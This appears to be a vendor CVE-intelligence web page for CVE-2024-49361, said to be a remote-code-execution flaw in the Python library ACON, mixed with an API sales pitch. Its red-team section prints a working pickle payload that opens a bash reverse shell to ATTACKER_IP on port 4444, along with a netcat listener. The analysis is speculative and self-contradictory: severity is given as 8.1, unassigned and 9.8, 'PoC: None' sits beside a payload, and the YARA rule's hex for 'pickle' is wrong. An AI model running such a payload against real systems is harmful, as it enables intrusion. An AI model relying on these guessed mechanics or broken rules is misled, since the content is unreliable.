☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-49361

CVE-2024-49361 Remote Code Execution in Acon
📅 PUBLISHED: 2024-10-18 18:55 UTC 🔄 UPDATED: 2026-09-23 20:16 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.73%
👁️
0.73% probability
18.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-49361 is a critical vulnerability in the ACON (Adaptive Correlation Optimization) library, a widely-used machine learning toolkit. The flaw resides in the input validation process, potentially allowing an attacker to bypass sanitization and submit malicious input data, leading to arbitrary code execution (RCE). This vulnerability is particularly dangerous for production servers running machine learning models that ingest user-generated data without proper sanitization. As of the time of analysis, no official patch is available, and the CVSS score is unassigned, but the impact is assessed as critical due to the potential for remote exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

ACON is a Python library distributed via PyPI. Users should verify the integrity of their installed packages and monitor for any updates or security advisories from the maintainers. The lack of a patch and the nature of the vulnerability (input validation bypass) make it a high-risk supply chain issue for any application that depends on ACON for processing untrusted data.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the description (remote code execution via input validation bypass), a reasonable assessment is:

  • Attack Vector (AV): Network (N) – exploitable remotely.
  • Attack Complexity (AC): Low (L) – likely requires minimal skill.
  • Privileges Required (PR): None (N) – no authentication needed.
  • User Interaction (UI): None (N) – no user action required.
  • Scope (S): Unchanged (U) – vulnerability does not affect other components.
  • Confidentiality (C): High (H) – full data access possible.
  • Integrity (I): High (H) – full data modification possible.
  • Availability (A): High (H) – full system compromise possible.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – immediate attention required.

Deep Dive & Mechanics

The vulnerability is rooted in ACON’s input-handling functions, which are used to process data for machine learning models. The lack of proper input validation allows an attacker to craft malicious input that bypasses sanitization checks. This can lead to:

  • Arbitrary Code Execution: The attacker can inject and execute arbitrary code on the server.
  • Remote Exploitation: The vulnerability can be triggered remotely without authentication.
  • Data Exfiltration: Once code execution is achieved, sensitive data can be stolen.

The exact mechanism is unclear without a patch or exploit code, but it likely involves:

  • Deserialization of untrusted data (e.g., pickle, YAML, or JSON).
  • Injection into model parameters (e.g., via eval() or exec() calls).
  • Buffer overflow or memory corruption in native extensions.

Vulnerable vs. Patched Code

Since no patch is available, a direct comparison is not possible. However, the vulnerable code likely lacks input validation, while a patched version would include:

  • Input sanitization (e.g., whitelisting allowed characters).
  • Type checking (e.g., ensuring inputs are of expected types).
  • Safe deserialization (e.g., using json.loads() instead of pickle.loads()).

Example of vulnerable code (hypothetical):

def process_input(data):
    # No validation
    return model.predict(data)

Example of patched code (hypothetical):

def process_input(data):
    if not isinstance(data, dict):
        raise ValueError("Invalid input type")
    # Additional sanitization
    return model.predict(data)

Exploitation & Lab Setup

Red Team

Objective: Achieve remote code execution on a target running ACON.

Prerequisites:

  • Target application using ACON’s input-handling functions.
  • Network access to the target.

Exploitation Steps:

  1. Reconnaissance: Identify endpoints that accept user input for ACON processing.
  2. Craft Payload: Create a malicious input that bypasses validation. For example, if the library uses pickle.loads(), craft a pickle payload that executes a reverse shell.
  3. Deliver Payload: Send the payload to the vulnerable endpoint.
  4. Execute: The payload executes on the server, granting a shell.

Example Payload (Python pickle):

import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('/bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"',))

payload = pickle.dumps(Exploit())

Lab Setup:

  • Use a vulnerable version of ACON (if available) or a custom script mimicking the vulnerability.
  • Set up a listener on the attacker machine: nc -lvnp 4444.

Blue Team

Objective: Detect and prevent exploitation.

Detection Steps:

  1. Monitor Input: Log all inputs to ACON functions for anomalies.
  2. Network Monitoring: Watch for outbound connections to unknown IPs (reverse shells).
  3. File Integrity: Monitor for unexpected file modifications.

Prevention:

  • Input Validation: Implement strict whitelisting and type checking.
  • Sandboxing: Run ACON in a container with minimal privileges.
  • WAF: Use a Web Application Firewall to block suspicious payloads.

Indicators of Compromise (IOCs)

  • Network:
    • Outbound connections to suspicious IPs on high ports (e.g., 4444, 1337).
    • Unusual HTTP POST requests with large payloads.
  • File System:
    • Unexpected files in /tmp/ or /var/tmp/.
    • Modified Python scripts in the ACON library directory.
  • Process:
    • Unusual child processes spawned by Python (e.g., /bin/bash, /bin/sh).
    • High CPU usage from Python processes.

Detection Engineering

YARA Rule

rule CVE_2024_49361_ACON_RCE {
    meta:
        description = "Detects malicious pickle payloads targeting ACON library"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-49361"
    strings:
        $pickle_magic = { 80 69 63 6B 6C 65 } // "pickle" in hex
        $reduce = "__reduce__"
        $os_system = "os.system"
        $subprocess = "subprocess"
    condition:
        $pickle_magic and ($reduce or $os_system or $subprocess)
}

Sigma Rule

title: CVE-2024-49361 ACON RCE Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2024-49361 via suspicious pickle payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\python.exe'
        CommandLine|contains: 'pickle'
    condition: selection
falsepositives:
    - Legitimate use of pickle in development
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-49361 ACON RCE Attempt"; flow:to_server; content:"pickle"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate: Disconnect systems running ACON from the internet if possible.
  2. Monitor: Enable detailed logging for all ACON input functions.
  3. WAF: Deploy a Web Application Firewall to block suspicious payloads.

Long-term Fix:

  • Patch: Await an official patch from the ACON maintainers. Monitor the PyPI repository for updates.
  • Code Review: Audit all code that uses ACON’s input-handling functions.
  • Replace: Consider replacing ACON with a more secure alternative if no patch is released.

Workaround:

  • Implement a wrapper function that sanitizes all inputs before passing them to ACON.
  • Use a sandboxed environment (e.g., Docker container) to run ACON.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-49361/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.